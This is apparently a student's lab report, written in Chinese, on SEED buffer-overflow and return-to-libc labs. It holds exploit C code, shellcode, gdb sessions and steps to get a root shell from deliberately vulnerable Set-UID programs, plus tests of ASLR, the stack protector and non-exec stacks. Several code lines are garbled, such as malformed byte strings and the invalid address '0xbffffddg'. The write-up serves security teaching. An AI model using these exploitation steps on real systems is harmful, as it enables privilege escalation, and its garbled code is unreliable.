# Lab2

57117221 姚远

## Lab2-1 Buffer Overflow Vulnerability Lab

### Task1

运行task1.c，发现shell被调用

```
[09/03/20] seed@VM:~/lab2$ vi task1.c
[09/03/20] seed@VM:~/lab2$ gcc -z execstack -o task1 task1.c
[09/03/20] seed@VM:~/lab2$ task1
$ ls
task1 task1.c
```

编译stack.c，并且给予Set-UID root权限

```
[09/03/20] seed@VM:~/lab2$ gcc -o stack -fno-stack-protector -z
noexecstack stack.c
[09/03/20] seed@VM:~/lab2$ sudo chown root stack
[09/03/20] seed@VM:~/lab2$ sudo chmod 4755 stack
```

### Task2

使用gdb调试，获取shellcode地址和bof函数执行后返回地址

```
gdb-peda$ b main
Breakpoint 1 at 0x80484ee: file stack.c, line 17.
gdb-peda$ r
Starting program: /home/seed/lab2/stack

[----------------------------------registers-----------------------------
----]
EAX: 0xb7fbbdbc --> 0xbfffedcc --> 0xbfffefd2 ("XDG_VTNR=7")
EBX: 0x0
ECX: 0xbfffed30 --> 0x1
```

```
gdb- peda$ p /x &str
$1 = 0xbfffeb07
```

恶意代码读取badfile文件到缓冲区str（0xbfffeb07），计算得shellcode地址为0xbfffeb6b。

bof函数调用strcpy函数把从文件读入的数据备份进了自己的缓冲区，buffer首地址距ebp的偏移为0x20，则距返回地址的偏移为0x24，从而可以用shellcode地址覆盖掉返回地址。 编译并运行攻击程序exploit，然后利用漏洞程序测试。

```
gdb-peda$ disass bof
Dump of assembler code for function bof:
    0x080484bb <+0>:     push   ebp
    0x080484bc <+1>:     mov    ebp,esp
    0x080484be <+3>:     sub    esp,0x28
    0x080484c1 <+6>:     sub    esp,0x8
    0x080484c4 <+9>:     push   DWORD PTR [ebp+0x8]
    0x080484c7 <+12>:    lea    eax,[ebp-0x20]
    0x080484ca <+15>:    push   eax
    0x080484cb <+16>:    call   0x8048370 <strcpy@plt>
    0x080484d0 <+21>:    add    esp,0x10
    0x080484d3 <+24>:    mov    eax, 0x1
    0x080484d8 <+29>:    leave
    0x080484d9 <+30>:    ret
End of assembler dump.
```

因为bof函数调用了strcpy函数，即把从文件读入的数据备份进了自己的缓冲区，为了实现shellcode地址覆盖掉返回地址，我们需要知道返回地址相对于buffer的偏移量，这样我们在构造badfile文件时在相应偏移量出写上codeshell地址即可。从反汇编代码中可以知道buffer首地址距ebp的偏移为0x20，则距返回地址的偏移为0x24。 这样，攻击程序exploit就设计好了，编译并运行，然后利用漏洞程序测试。

```
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    memset(&buffer, 0x90, 517);
    strcpy(buffer+100, shellcode);
    strcpy(buffer+0x24, "lx6bxebxfflxbf");
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

攻击成功

```
[09/03/20]seed@VM:~/lab2$ vi exploit.c
[09/03/20]seed@VM:~/lab2$ gcc -o exploit exploit.c
[09/03/20]seed@VM:~/lab2$ rm badfile
[09/03/20]seed@VM:~/lab2$ exploit
[09/03/20]seed@VM:~/lab2$ stack
#
```

## Task3

更改sh链接到dash并进行攻击

```
[09/03/20]seed@VM:~/lab2$ sudo ln -sf /bin/dash /bin/sh
[09/03/20]seed@VM:~/lab2$ vi dash shell test.c
[09/03/20]seed@VM:~/lab2$ gcc dash shell test.c -O dash shell test
[09/03/20]seed@VM:~/lab2$ sudo chown root dash shell test
[09/03/20]seed@VM:~/lab2$ sudo chmod 4755 dash shell test
[09/03/20]seed@VM:~/lab2$ dash shell test
$
```

攻击失败，取消setuid(0)注释后，再次尝试攻击，攻击成功

```
[09/03/20]seed@VM:~/lab2$ vi dash_shell_test.c
[09/03/20]seed@VM:~/lab2$ gcc dash_shell_test.c -O dash_shell_test
[09/03/20]seed@VM:~/lab2$ sudo chown root dash_shell_test
[09/03/20]seed@VM:~/lab2$ sudo chmod 4755 dash_shell_test
[09/03/20]seed@VM:~/lab2$ dash_shell_test
#
```

在task2的shellcode前加上四个指令

```
char shellcode[] =
  "x31 xc0"               /* Line 1: xorl       %eax,%eax    */
  "(x31 xdb"              /* Line 2: xorl       %ebx,%ebx    */
  "lxb0 xd5"              /* Line 3: movb       $0xd5,%al    */
  "lxcd(x80"              /* Line 4: int        $0x80        */
```

将sh链接到dash，再次尝试task2中的攻击，攻击成功

```
[09/03/20]seed@VM:~/lab2$ vi exploit.c
[09/03/20]seed@VM:~/lab2$ gcc -o exploit exploit.c
[09/03/20]seed@VM:~/lab2$ rm badfile
[09/03/20]seed@VM:~/lab2$ exploit
[09/03/20]seed@VM:~/lab2$ stack
#
```

setuid(0)使被攻击程序真实用户ID变为0，从而防止dash降低特权，最终得到root权限。

## Task4

使用暴力破解方法，运行4分35秒后成功获得root权限

```
4 minutes and 35 seconds elapsed.
The program has been running 255145 times so far.
#
```

### Task5

打开栈保护并尝试攻击，因分配空间不足攻击失败

```
[09/03/20]seed@VM:~/lab2$ gcc -g -o stack -z execstack stack.c
[09/03/20]seed@VM:~/lab2$ sudo chown root stack
[09/03/20]seed@VM:~/lab2$ sudo chmod 4755 stack
[09/03/20]seed@VM:~/lab2$ stack
*** stack smashing detected ***: stack terminated
Aborted
```

### Task6

打开非执行栈保护机制编译并运行，因访问越界攻击失败

```
[09/03/20]seed@VM:~/lab2$ gcc -0 stack -fno-stack-protector -Z noexecstack
stack.c
[09/03/20]seed@VM:~/lab2$ sudo chown root stack
[09/03/20]seed@VM:~/lab2$ sudo chmod 4755 stack
[09/03/20]seed@VM:~/lab2$ stack Segmentation fault
```

## Lab2-2 Return-to-libc Attack Lab

### Task1

关闭地址随机化，关闭栈保护，设置栈不可执行，编译retlib.c并赋予Set-UID root权限

```
$ gcc -DBUF_SIZE=N -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib
$ sudo chmod 4755 retlib
```

得到system和exit函数地址

```
[09/03/20]seed@VM:~/lab2$ gdb -q retlib
Reading symbols from retlib...done.
gdb-peda$ run
Starting program: /home/seed/lab2/retlib
Returned Properly
[Inferior 1 (process 24356) exited with code 01]
Warning: not running or target is remote
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

## Task2

将/bin/sh放入环境变量MYSHELL，使用task2.c获取环境变量的地址：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc,char const *argv[])
{
    char *ptr;
    if(argc<3)
    {
        printf("Usage:%s <environment var> <target program name>\n"
,argv[0]);
        exit(0);
    }
    ptr=getenv(argv[1]);
    ptr+=(strlen(argv[0])-strlen(argv[2]))*2;
    printf("%s will be at %p\n", argv[1],ptr);
    return 0;
}
```

得到环境变量地址

```
[09/03/20]seed@VM:~/lab2$ vi task2.c
[09/03/20]seed@VM:~/lab2$ gcc -0 task2 task2.c
[09/03/20]seed@VM:~/lab2$ touch badfile
[09/03/20]seed@VM:~/lab2$ task2 MYSHELL retlib
MYSHELL will be at 0xbfffddc
```

## Task3

构造badfile文件，里面写入A-Z，a-z，使用gdb调试

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
```

gdb retlib，run得到栈溢出地址

```
0x62615a59_in ?? ()
```

0x62615a59代表的char为baZY，在buffer的24-27偏移处，所以X为24。 return地址的下面4个字节为要返回的下个地址指针，再下面4个字节为函数参数，所以24+4=28处存取exit()的函数，24+8=32出存取/bin/sh字符串的地址。

```
#include <stdlib.h>
#include <stdio. h>
#include <string. h>
int main(int argc, char **argv)
{
    char buf[40] ;
    FILE *badfile;
    badfile = fopen("./badfile", "w") ;
    *(long *) &buf[24] =0xb7e42da0;
    *(long *) &buf[32] =0xbffffddg;
    *(long *) &buf[28] =0xb7e369d0;
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

编译并执行，生成新的badfile文件，运行retlib程序，进行攻击。获得root权限，攻击成功

```
[09/03/20]seed@VM:~/lab2$ vi exploit2.c
[09/03/20]seed@VM:~/lab2$ gcc -O exploit2 exploit2.c
[09/03/20]seed@VM:~/lab2$ exploit2
[09/03/20]seed@VM:~/lab2$ retlib
#
```

## Task4

打开地址随机化后进行攻击

```
[09/03/20]seed@VM:~/lab2$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/03/20]seed@VM:~/lab2$ retlib
Segmentation fault
```

发现攻击失败，再次用gdb调试retlib，system、exit、/bin/sh地址都已改变

```
gdb-peda$ p system
$1 = [<text variable, no debug info>] 0xb757eda0 < libc system>
gdb-peda$ p exit
$2 = [<text variable, no debug info>] 0xb75729d0 <
GI exit>
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb757eda0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75729d0 <__GI_exit>
gdb-peda$ quit
[09/04/20]seed@VM:~/lab2$ task2 MYSHELL retlib
MYSHELL will be at 0xbfe9eddc
```